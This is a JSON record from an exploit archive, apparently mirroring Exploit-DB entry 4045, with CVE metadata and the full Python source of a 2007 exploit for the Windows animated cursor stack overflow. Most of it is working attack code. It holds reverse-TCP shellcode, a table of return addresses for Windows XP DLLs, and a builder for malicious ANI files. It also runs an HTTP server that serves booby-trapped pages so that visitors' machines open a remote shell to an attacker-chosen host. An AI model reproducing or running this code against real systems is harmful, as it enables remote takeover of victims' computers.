{"exploit":{"id":"EDB-4045","name":"Microsoft Windows - Animated Cursor Stack Overflow","description":"Microsoft Windows - Animated Cursor Stack Overflow","cves":["CVE-2007-0038","CVE-2007-1765"],"author":"RISE Security","published":"2007-06-07","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4045","path":"exploits/windows/remote/4045.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4045.py","vulnerabilities":[{"id":"CVE-2007-0038","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0038","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0038"},"updatedAt":"2024-08-07T12:03:36.879Z","retrievedAt":"2026-11-26T15:05:27.112Z","stale":false,"error":null},{"id":"CVE-2007-1765","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a malformed ANI file, which results in memory corruption when processing cursors, animated cursors, and icons, a similar issue to CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this issue might be a duplicate of CVE-2007-0038; if so, then use CVE-2007-0038 instead of this identifier.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1765","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1765"},"updatedAt":"2024-08-07T13:06:26.389Z","retrievedAt":"2026-11-26T19:12:38.717Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4045.png?v=2","url":"https://exploitbin.com/exploits/EDB-4045","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4045/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4045/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n\n#\n#   $Id: win32-loadaniicon.py 4 2007-06-02 00:47:59Z ramon $\n#\n#   Windows Animated Cursor Stack Overflow Exploit\n#   Copyright 2007 Ramon de Carvalho Valle <ramon@risesecurity.org>,\n#   RISE Security <contact@risesecurity.org>\n#\n#   This program is free software; you can redistribute it and/or modify\n#   it under the terms of the GNU General Public License as published by\n#   the Free Software Foundation; either version 2 of the License, or\n#   (at your option) any later version.\n#\n#   This program is distributed in the hope that it will be useful,\n#   but WITHOUT ANY WARRANTY; without even the implied warranty of\n#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#   GNU General Public License for more details.\n#\n#   You should have received a copy of the GNU General Public License\n#   along with this program; if not, write to the Free Software\n#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n#\n\n#\n# Windows Animated Cursor Stack Overflow Vulnerability\n# http://www.determina.com/security.research/vulnerabilities/ani-header.html\n#\n\nfrom BaseHTTPServer import *\nfrom os.path import *\nfrom random import *\nfrom socket import *\nfrom string import *\nfrom struct import *\nfrom sys import *\n\n#\n#  windows/shell_reverse_tcp - 287 bytes\n#  http://www.metasploit.com\n#  EXITFUNC=seh, LPORT=1234, LHOST=127.0.0.1\n#\nbuf = \\\n'\\xfc\\x6a\\xeb\\x4d\\xe8\\xf9\\xff\\xff\\xff\\x60\\x8b\\x6c\\x24\\x24\\x8b' + \\\n'\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01' + \\\n'\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07' + \\\n'\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x28\\x75\\xe5\\x8b\\x5f' + \\\n'\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\\x03\\x2c\\x8b' + \\\n'\\x89\\x6c\\x24\\x1c\\x61\\xc3\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\\x40\\x0c' + \\\n'\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\x5e\\x68\\x8e\\x4e\\x0e\\xec\\x50\\xff' + \\\n'\\xd6\\x66\\x53\\x66\\x68\\x33\\x32\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0' + \\\n'\\x68\\xcb\\xed\\xfc\\x3b\\x50\\xff\\xd6\\x5f\\x89\\xe5\\x66\\x81\\xed\\x08' + \\\n'\\x02\\x55\\x6a\\x02\\xff\\xd0\\x68\\xd9\\x09\\xf5\\xad\\x57\\xff\\xd6\\x53' + \\\n'\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\xff\\xd0\\x68\\x7f\\x00\\x00\\x01\\x66' + \\\n'\\x68\\x04\\xd2\\x66\\x53\\x89\\xe1\\x95\\x68\\xec\\xf9\\xaa\\x60\\x57\\xff' + \\\n'\\xd6\\x6a\\x10\\x51\\x55\\xff\\xd0\\x66\\x6a\\x64\\x66\\x68\\x63\\x6d\\x6a' + \\\n'\\x50\\x59\\x29\\xcc\\x89\\xe7\\x6a\\x44\\x89\\xe2\\x31\\xc0\\xf3\\xaa\\x95' + \\\n'\\x89\\xfd\\xfe\\x42\\x2d\\xfe\\x42\\x2c\\x8d\\x7a\\x38\\xab\\xab\\xab\\x68' + \\\n'\\x72\\xfe\\xb3\\x16\\xff\\x75\\x28\\xff\\xd6\\x5b\\x57\\x52\\x51\\x51\\x51' + \\\n'\\x6a\\x01\\x51\\x51\\x55\\x51\\xff\\xd0\\x68\\xad\\xd9\\x05\\xce\\x53\\xff' + \\\n'\\xd6\\x6a\\xff\\xff\\x37\\xff\\xd0\\x68\\xe7\\x79\\xc6\\x79\\xff\\x75\\x04' + \\\n'\\xff\\xd6\\xff\\x77\\xfc\\xff\\xd0\\x68\\xf0\\x8a\\x04\\x5f\\x53\\xff\\xd6' + \\\n'\\xff\\xd0'\n\n# Target list\ntarget = [ \\\n    # call [ebx+4]\n\n    # Microsoft Windows XP SP2 user32.dll (5.1.2600.2622) Multi Language\n    {'addr': 0x25ba, 'len': 2, 'offset': 80},\n\n    # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language\n    {'addr': 0x25d0, 'len': 2, 'offset': 80},\n\n    # Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) English\n    {'addr': 0x769fc81a, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) English\n    # {'addr': 0x77d825d0, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) Portuguese (Brazil)\n    {'addr': 0x769dc81a, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Portuguese (Brazil)\n    # {'addr': 0x77d625d0, 'len': 4, 'offset': 80},\n\n    # call [esi+4]\n\n    # Microsoft Windows XP SP1a userenv.dll English\n    {'addr': 0x75a758b1, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP SP1a shell32.dll English\n    # {'addr': 0x77441a66, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP userenv.dll (5.1.2600.0) Portuguese (Brazil)\n    {'addr': 0x75a4579b, 'len': 4, 'offset': 80},\n\n    # Microsoft Windows XP shell32.dll (6.0.2600.0) Portuguese (Brazil)\n    # {'addr': 0x77427214, 'len': 4, 'offset': 80},\n]\n\n# Target list index\ntidx = 0\n\ndef randstr(count = 1, charset = 'ascii_alpha'):\n    # Set the charset\n    if charset == 'ascii_alpha':\n        charset = digits + ascii_uppercase + ascii_lowercase\n    elif charset == 'ascii_letters':\n        charset = ascii_letters\n    elif charset == 'ascii_lowercase':\n        charset = ascii_lowercase\n    elif charset == 'ascii_uppercase':\n        charset = ascii_uppercase\n    elif charset == 'digits':\n        charset = digits\n    elif charset == 'hexdigits':\n        charset = hexdigits\n    elif charset == 'octdigits':\n        charset = octdigits\n\n    # Create the string\n    i = 0\n    str = ''\n\n    while i < count:\n        str = str + charset[randint(0, len(charset)-1)]\n        i = i + 1\n\n    return str\n\n\ndef riff_chunk():\n    chunk_id = randstr(4)\n    chunk_data = randstr(randint(1, 256)*2)\n    chunk_size = pack('<L', len(chunk_data))\n\n    return chunk_id + chunk_size + chunk_data\n\n\ndef riff_ani_file():\n    global buf, target, tidx\n\n    # Create the first header subchunk\n    anih_a = [36, randint(1, 65535), randint(1, 65535), 0, 0, 0, 0, 0, 1]\n    anih_a = pack('<%dL' % len(anih_a), *[i for i in anih_a])\n    anih_a = 'anih' + pack('<L', len(anih_a)) + anih_a\n\n    # Create the second header subchunk\n    anih_b = randstr(target[tidx]['offset'])\n\n    # Set the current indexed target\n    if target[tidx]['len'] == 1:\n        anih_b = anih_b + pack('<B', target[tidx]['addr'])\n    elif target[tidx]['len'] == 2:\n        anih_b = anih_b + pack('<H', target[tidx]['addr'])\n    else:\n        anih_b = anih_b + pack('<L', target[tidx]['addr'])\n\n    anih_b = 'anih' + pack('<L', len(anih_b)) + anih_b\n\n    # Format ID\n    riff = 'ACON'\n\n    # Random subchunks\n    for i in range(randint(1, 256)):\n        riff = riff + riff_chunk()\n\n    # First header subchunk\n    riff = riff + anih_a\n\n    # Random subchunks\n    for i in range(randint(1, 256)):\n        riff = riff + riff_chunk()\n\n    # Second header subchunk\n    riff = riff + anih_b\n\n    # Shellcode\n    riff = riff + buf\n\n    # File ID and length of file\n    riff = 'RIFF' + pack('<L', len(riff)) + riff\n\n    # Update the target list index\n    if tidx < len(target)-1:\n        tidx = tidx + 1\n    else:\n        tidx = 0\n\n    return riff\n\n\ndef randhtml():\n    global buf, target, tidx\n\n    # Random RIFF file extensions\n    extension = ['ani', 'avi', 'cdr', 'rmi', 'wav']\n\n    # Random html document\n    html = \\\n    '<html>\\n<head>\\n<title>' + \\\n    randstr(randint(1, 256)) + \\\n    '</title>\\n</head>\\n<body>\\n'\n\n    for i in range(randint(0, 4)):\n        html = html + randstr(randint(1, 256)) + '\\n'\n\n    for i in range(len(target)):\n        html = html + \\\n        '<div id=\"' + randstr(randint(4, 16)) + '\" ' \\\n        'style=\"cursor: url(/' + randstr(randint(4, 16)) + '.' + \\\n        extension[randint(0, len(extension)-1)] + ')\">\\n'\n\n        for i in range(randint(0, 4)):\n            html = html + randstr(randint(1, 256)) + '\\n'\n\n        html = html + '</div>\\n'\n\n        for i in range(randint(0, 4)):\n            html = html + randstr(randint(1, 256)) + '\\n'\n\n    html = html + '</body>\\n</html>\\n'\n\n    return html\n\n\nclass RequestHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n\n        if self.path == '/':\n            # Send the html document\n            html = randhtml()\n            self.send_header('Content-Type', 'text/html; charset=UTF-8')\n            self.send_header('Content-Length', str(len(html)))\n            self.end_headers()\n            self.wfile.write(html)\n            return\n\n        # Generate and send the RIFF file\n        riff = riff_ani_file()\n        self.send_header('Content-Type', 'application/octetstream')\n        self.send_header('Content-Length', str(len(riff)))\n        self.end_headers()\n        self.wfile.write(riff)\n\n\ndef usage():\n    print 'Usage: ./%s <http_host> <http_port> <host> <port>' \\\n    % basename(argv[0])\n\n\nif __name__ == '__main__':\n    print 'Windows Animated Cursor Stack Overflow Exploit'\n    print 'Copyright 2007 RISE Security <contact@risesecurity.org>\\n'\n\n    args = argv[1:]\n\n    if '-h' in args or '--help' in args:\n        usage()\n        exit()\n\n    http_host = '0.0.0.0'\n    http_port = 8080\n    host = '127.0.0.1'\n    port = 1234\n\n    try:\n        http_host = argv[1]\n        http_port = atoi(argv[2])\n        host = argv[3]\n        port = atoi(argv[4])\n    except:\n        pass\n\n    # Set shellcode host and port to connect to\n    buf = buf[:160] + inet_aton(gethostbyname(host)) + buf[164:]\n    buf = buf[:166] + pack('<H', port) + buf[168:]\n\n    # Start the HTTP server\n    server_class = HTTPServer\n    httpd = server_class((http_host, http_port), RequestHandler)\n\n    print 'Listening on %s:%s' % (http_host, http_port)\n\n    try:\n        httpd.serve_forever()\n    except:\n        pass\n\n# milw0rm.com [2007-06-07]","sha256":"e97d3dcf70e9198f7abc7e20cc72466fa3f0895d3ef4eeaf7896ea3fbc39c4bc","bytes":8788,"fetchedAt":"2026-11-26T22:09:40.384Z","encoding":"utf-8 (display only; download retains original bytes)"}